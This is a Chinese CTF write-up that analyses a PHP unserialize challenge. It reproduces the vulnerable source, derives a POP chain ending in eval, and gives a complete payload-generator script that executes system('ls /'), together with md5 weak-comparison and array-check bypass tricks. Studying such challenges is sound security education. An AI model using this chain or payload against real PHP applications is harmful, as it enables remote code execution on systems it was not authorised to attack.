第七届浙江省大学生网络与信息安全竞赛决赛Unserialize深度解析 1.0

news/2025/5/24 1:57:25

花还会重新开,不同的春来了又来。

- 2025.4.11


0x01 声明

仅作为个人学习使用,仅供参考,欢迎交流

可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章

当然很多理解可能不够到位,还请见谅

此外,本人所有博客始终贯彻原创与开源原则,若访问文章显示付费,请及时私信

不排除平台会自动设置付费的可能,本人会第一时间关注并处理

0x02 源码

源码如下,只对传参逻辑进行少许修改其余保持不变,顺手写成dockerfile,开启容器

<?phpclass AAA
{public $aear;public $string;public function __construct($a){$this->aear = $a;}function __destruct(){echo $this->aear;}public function __toString() {$new = $this->string;return $new();}
}class BBB
{private $pop;public function __construct($string){$this->pop = $string;}public function __get($value){$var = $this->$value;$var[$value]();}
}class DDD
{public $bag;public $magazine;public function __toString()    {$length = @$this->bag->add();     return $length;                    }public function __set($arg1, $arg2)   {if ($this->magazine->tower) {     echo "really??";}}
}class EEE
{public $d = array();public $e;public $f;public function __get($arg1){$this->d[$this->e] = 1;  if ($this->d[] = 1) {    echo 'nononononnnn!!!';} else {eval($this->f);}}
}class FFF
{protected $cookie;protected function delete(){return $this->cookie;}public function __call($func, $args)  {echo 'hahahhhh';call_user_func([$this, $func . "haha"], $args);}
}class GGG
{public $green;public $book;public function __invoke(){if (md5(md5($this->book)) == 666) { return $this->green->pen;}}
}if (!isset($_POST['UP'])) {highlight_file(__FILE__);
} else {unserialize($_POST['UP']);
}?>

0x03 魔术方法

(下文会有讲解,此处作为参考)

0x04 构造POP链

AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

0x05 分析过程

第一步

构造利用链的第一步是确定链尾,即能够触发远程代码执行RCE)的代码点

eval($this->f),具备执行代码的能力,锁定链尾

-> EEE::__get()

第二步

我们需要考虑如何触发 EEE 类中的 __get() 魔术方法

魔术方法 __get() 触发条件

当你访问一个不存在或不可访问(private 或 protected)的属性时,触发魔术方法 __get()

例如

class Demo {public $a = "public";private $b = "private";protected $c = "protected";public function __get($name) {return "__get() 被触发了:你访问了 $name";}
}$Demo = new Demo();echo $Demo->a;      // ✅ 直接输出 public
echo $Demo->b;      // ❗触发 __get("b")
echo $Demo->c;      // ❗触发 __get("c")
echo $Demo->d;      // ❗触发 __get("d"),d 不存在

echo $Demo->$value; 如果触发 __get($value)后,

会将 __get($value)方法的返回值 作为 $Demo->$value 的返回值。

访问echo $Demo->b;↓
PHP发现:b 是私有属性,不能访问↓
于是自动调用 __get("b")↓__get() 返回 "__get() 被触发了:你访问了 b"↓
这个值就被当作 $Demo->b 的值返回了!

因此输出:

public                    // public属性
__get() 被触发了:b        // private属性
__get() 被触发了:c        // protected属性
__get() 被触发了:d        // 不存在的属性

回归正题

了解触发条件后,我们发现

如果 $this->green 是 EEE类 的一个对象,
↓ 
由于 GGG类 中根本不存在 pen 属性,自然无法访问到 pen;
↓ 
那么 $this->green->pen; 就会触发 EEE::__get()

 因此

-> GGG::__invoke() -> EEE::__get()

第三步

我们需要考虑如何触发 GGG 类中的 __invoke() 魔术方法

魔术方法 invoke() 触发条件

当对象被当作函数调用时,触发魔术方法 __invoke()

例如

class Demo {public function __invoke($name) {return "__invoke() 被触发了:你传入了 $name";}
}$Demo = new Demo();echo $Demo("Hello");  // ❗触发 __invoke("Hello")
$Demo("Hello")     
↓ 
$Demo 是 Demo类的一个对象,$obj()即把对象当成函数调用
↓ 
PHP一看:你居然让对象执行函数调用动作
↓ 
调用 $Demo->__invoke("Hello");
↓
最终输出就是 __invoke() 的返回值,即 return "__invoke() 被触发了:你传入了 $name";
↓
此时 $name = "Hello"

回归正题

如果 $this->string是 GGG类 的一个对象
↓ 
$new = $this->string; 将 $new 赋值为 GGG 的对象;
↓ 
return $this->string();将$GGG的对象当做函数调用;
↓ 
触发 GGG::__invoke();

  因此

-> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第四步

我们需要考虑如何触发 AAA 类中的 __toString() 魔术方法

魔术方法 __toString() 触发条件

当对一个对象执行 echoprint字符串拼接 等操作,触发魔术方法 __toString()

例如

class Demo {public function __toString() {return "__toString() 被触发了!\n";}
}$Demo = new Demo();// 用 echo 输出对象
echo $Demo;  // 用 print 输出对象
print $Demo;  // 把对象拼接到字符串中
$text = "这是一个对象:$Demo";
echo $text;

输出

__toString() 被触发了!  // 执行 echo 操作
__toString() 被触发了!  // 执行 print 操作
这是一个对象:__toString() 被触发了! // 执行 字符串拼接

回归正题

如果 $this->aear 是AAA的一个对象
↓ 
echo $this->aear 触发 AAA的__toString()方法
↓ 
AAA::__toString()

 因此

AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第五步

我们需要考虑如何触发 AAA 类中的 __destruct() 魔术方法

魔术方法 __destruct() 触发条件

析构函数会在 当某个对象的所有引用都被删除或者当对象被显式销毁时 执行。

换句话说,

只要你 new 创建一个对象,当它“不再使用”或“被清理掉”,PHP 就会自动帮你调用 __destruct() 做一些“结束前的收尾工作”。

例如

class Demo {public function __destruct() {echo "__destruct() 被触发了!\n";}
}$Demo = new Demo();

输出

__destruct() 被触发了!

回归正题,由于__destruct()特殊的触发条件或者说根本不需要什么条件,我们的POP链也就构造成功了。

除此以外,还需要了解__construct()触发方式

魔术方法 __construct() 触发条件

当你使用 new 创建一个对象时,PHP 会自动调用这个类的 __construct() 方法,触发条件非常简单直接

class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo("橙橙");  // 触发 __construct("橙橙")

输出

你好,橙橙

__construct() 可以有参数:

// 如果构造函数有参数 + 没有默认值,你不传入参数值就会报错class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo();    // ❌ 错误:缺少参数
$Demo = new Demo(1);   // ✅ 成功,输出:你好,1// Fatal error: Uncaught ArgumentCountError: Too few arguments to function Demo::__construct(), 0 passed...
// 创建 Demo 类的对象时,没有传递构造函数需要的参数,但构造函数 (__construct) 没有默认值,导致 PHP 无法执行对象的初始化。

0x06 构造Payload

 构造 Payload 需要本地PHP环境,请参考之前文章 

https://blog.csdn.net/2301_80877061/article/details/144911396?spm=1001.2014.3001.5502

https://blog.csdn.net/2301_80877061/article/details/145059231?spm=1001.2014.3001.5502

或者自行查阅教程


根据POP链和以上分析,开始构造Payload

AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
// POP链起点在AAA类,创建 AAA类对象
// 触发construct($a)要求传入参数 $a,赋值 1 给 aear,后续值能够覆盖$AAA = new AAA(1); // 触发 AAA::__destruct()
$AAA->aear=$AAA; // 触发 AAA::__toString(),覆盖 aear值
$AAA->string=new GGG(); // 触发 GGG::__invoke()$AAA->string->book=213; // 绕过点1
$AAA->string->green=new EEE(); // 触发 EEE::__get()$AAA->string->green->d=1; // 绕过点2
$AAA->string->green->f="system('ls /');"; // POP链尾,RCEecho serialize($AAA);
// echo urlencode(serialize($AAA));

Payload

 <?phpclass AAA
{public $aear;public $string;// public function __construct($a)// {//     $this->aear = $a;// }// function __destruct()// {//     echo $this->aear;// }// public function __toString() // {//     $new = $this->string;//     return $new();// }
}class BBB
{private $pop;// public function __construct($string)// {//     $this->pop = $string;// }// public function __get($value)// {//     $var = $this->$value;//     $var[$value]();// }
}class DDD
{public $bag;public $magazine;// public function __toString()    // {//     $length = @$this->bag->add();     //     return $length;                    // }// public function __set($arg1, $arg2)   // {//     if ($this->magazine->tower) {     //         echo "really??";//     }// }
}class EEE
{public $d = array();public $e;public $f;// public function __get($arg1)// {//     $this->d[$this->e] = 1;  //     if ($this->d[] = 1) {    //         echo 'nononononnnn!!!';//     } else {//         eval($this->f);//     }// }
}class FFF
{protected $cookie;// protected function delete()// {//     return $this->cookie;// }// public function __call($func, $args)  // {//     echo 'hahahhhh';//     call_user_func([$this, $func . "haha"], $args);// }
}class GGG
{public $green;public $book;// public function __invoke()// {//     if (md5(md5($this->book)) == 666) { //         return $this->green->pen;//     }// }
}$AAA = new AAA(1); 
$AAA->aear=$AAA; 
$AAA->string=new GGG();$AAA->string->book=213;
$AAA->string->green=new EEE();$AAA->string->green->d=1;
$AAA->string->green->f="system('ls /');";echo serialize($AAA);
// echo urlencode(serialize($AAA));
?>

Hackbar 在执行表单提交时,不排除会对Payload进行二次编码的可能

所以Urlencode后我一般用Bp提交

绕过点1

$AAA->string->book=213; // 绕过点1

为什么 213 能够绕过呢,== 注意是PHP的弱类型比较

if (md5(md5($this->book)) == 666)
<?php
echo md5(213). "\n";
echo md5(md5(213));
?>// 979d472a84804b9f647bc185a877a8b5  字符串类型
// 666ca9a2be31fd949cb9b55686caef9a  字符串类型
PHP 进行 弱类型比较,在比较时尝试将 字符串 转换为数字,会从字符串的开头部分提取数字作为比较值
字符串是以数字开头,PHP 会将其转化为该数字,直到遇到非数字字符停止例如
'a' -> 0
'1a' -> 1
'123a' -> 123因此
'666ca9a2be31fd949cb9b55686caef9a' -> 666
'666ca9a2be31fd949cb9b55686caef9a' == 666 成立,true

Fuzz脚本:两次md5加密后,前三位为666且第四位为字母

import hashlibdef find_md5():i = 0res = []while len(res) < 5:# 原始输入orig = str(i)# 第一次md5加密fmd5 = hashlib.md5(orig.encode()).hexdigest()# 第二次md5加密smd5 = hashlib.md5(fmd5.encode()).hexdigest()# 检查是否符合条件:前三位是'666',第四位是字母if smd5[:3] == '666' and smd5[3].isalpha():res.append((orig, smd5))i += 1return res# 获取符合条件的五个实例及其原始输入
result = find_md5()# 打印结果
for orig, smd5 in result:print(f"原始输入: {orig}, 加密结果: {smd5}")

绕过点2

$AAA->string->green->d=1; // 绕过点2
public $d = array();       // $d 被声明为数组
$this->d[$this->e] = 1;    // 将 $this->e 的值作为键,向 $this->d 数组中添加一个元素,值为 1
if ($this->d[] = 1){// code...
}// $this->d[] = 1 向数组的末尾赋值1并返回 1 ->  if(1)为true  -> 条件判断恒成立

举个例子

<?php$Demo = array();  // 定义一个空数组$a = '1';
$Demo[$a]=1;if ($Demo[] = 1) {echo "true\n";  // true,条件判断成立
}print_r($Demo) ?>

(可以发现,这里键名延续,若键名不为整数类型,则从0递增)这不是重点

重点是 if ($this->d[] = 1) 恒成立,应该怎么绕过呢?

覆盖 $d 的值,使其不为一个数组
从而导致 $this->d[] = 1 操作报错或不按预期执行,绕过恒成立的条件判断。例如:
$AAA->string->green->d = 1;  // 数字
$AAA->string->green->d = '1';  // 字符串
$AAA->string->green->d = NULL;  //  NULL
$AAA->string->green->d = NAN;  // 设置为 NaN

0x07 End

至此,反序列化的分析已全部结束

如有错误或者理解不够到位的地方,还请指正,感谢各位的耐心和支持!


https://dhexx.cn/news/show-5496889.html

相关文章

记录一次TDSQL网关夯住故障

环境信息&#xff1a; TDSQL-MySQL同城双中心集群&#xff0c;集中式实例&#xff0c;一主三副本&#xff0c;每个中心两个db副本&#xff0c;每个中心一个VIP&#xff0c;V每个IP通过硬件做负载均衡指向该中心两个proxy&#xff0c;操作系统为麒麟v10 arm。 故障描述&#xf…

案例-索引对于并发Insert性能优化测试

前言 最近因业务并发量上升,开发反馈对订单表Insert性能降低。应开发要求对涉及Insert的表进行分析并提供优化方案。   一般对Insert 影响基本都在索引,涉及表已按创建日期做了分区表,索引全部为普通索引未做分区索引。 优化建议: 1、将UNIQUE改为HASH(64) GLOBAL IND…

【Python爬虫】简单案例介绍4

本文继续接着我的上一篇博客【Python爬虫】简单案例介绍3-CSDN博客 目录 3.4 完整代码 3.4 完整代码 此小节给出上述案例的完整代码&#xff0c; # encodingutf-8 import re, json, requests, xlwt, csv import pandas as pd from lxml import etree from bs4 import Beauti…

视觉slam框架从理论到实践-第一节绪论

从opencv的基础实现学习完毕后&#xff0c;接下来依照视觉slam框架从理论到实践&#xff08;第二版&#xff09;的路线进行学习&#xff0c;主要以学习笔记的形式进行要点记录。 目录 1.数据里程计 2.后端优化 3.回环检测 4.建图 在视觉SLAM 中整体作业流程可分为&#xff1…

Leetcode——137 260找出只出现一次的数

文章目录 找出只出现一次的数引入Leetcode 260Leetcode 137 找出只出现一次的数 对于数组中有一类题&#xff0c;即某些数据在数组中只出现一遍&#xff0c;需要我们找出&#xff0c;今天我们来看看这个类型的题。 引入 想必大家应该见过这么一道题&#xff1a; 现给定一个数…

【MySQL数据库】InnoDB存储引擎:逻辑存储结构、内存架构、磁盘架构

逻辑存储结构 一个数据库是由一张张表组成的&#xff0c;而表中是由一个个段构成的&#xff0c;一个段是由区构成的&#xff0c;区空间是由页构成的&#xff0c;页是行构成的。 ①表空间&#xff1a;.ibd文件&#xff0c;一个mysql实例可以对应多个表空间&#xff0c;用于存储…

Windows 系统如何使用Redis 服务

前言 在学习过程中&#xff0c;我们长期接触到的是Mysql 关系型数据库&#xff0c;也是够我们平时练习项目用的&#xff0c;但是后面肯定会有大型数据的访问就要借助新的新的工具。 一、什么是Redis Redis&#xff08;Remote Dictionary Server&#xff09;是一个基于内存的 键…

MuJoCo 机械臂关节路径规划+轨迹优化+末端轨迹可视化(附代码)

视频讲解&#xff1a; MuJoCo 机械臂关节路径规划轨迹优化末端轨迹可视化&#xff08;附代码&#xff09; 今天的实验测试目标就是随机给定两个关节空间位置&#xff0c;使用pyroboplan进行路径规划和轨迹优化&#xff0c; 完整代码仓库&#xff1a;https://github.com/Litchi…

【7】深入学习Buffer缓冲区-Nodejs开发入门

深入学习Buffer缓冲区 前言ASCII码GBK/GB2312UnicodeJavascript转换 BufferBuffer的作用Buffer的创建Buffer.allocBuffer.allocUnsafe(size)Buffer.allocUnsafeSlow(size)Buffer.from(array)Buffer.from(arrayBuffer[, byteOffset[, length]])Buffer.from(buffer)Buffer.from(s…

onlyoffice 在线编辑集成

onlyoffice 在线编辑集成 项目中要使用word在线编辑功能&#xff0c;记录一下过程 安装使用docker版本 docker run -itd -p 8001:80 --name kodoffice --restart always registry.cn-hangzhou.aliyuncs.com/kodcloud/kodoffice:7.4.1.1 启动后http://192.168.x.x:8001/web/…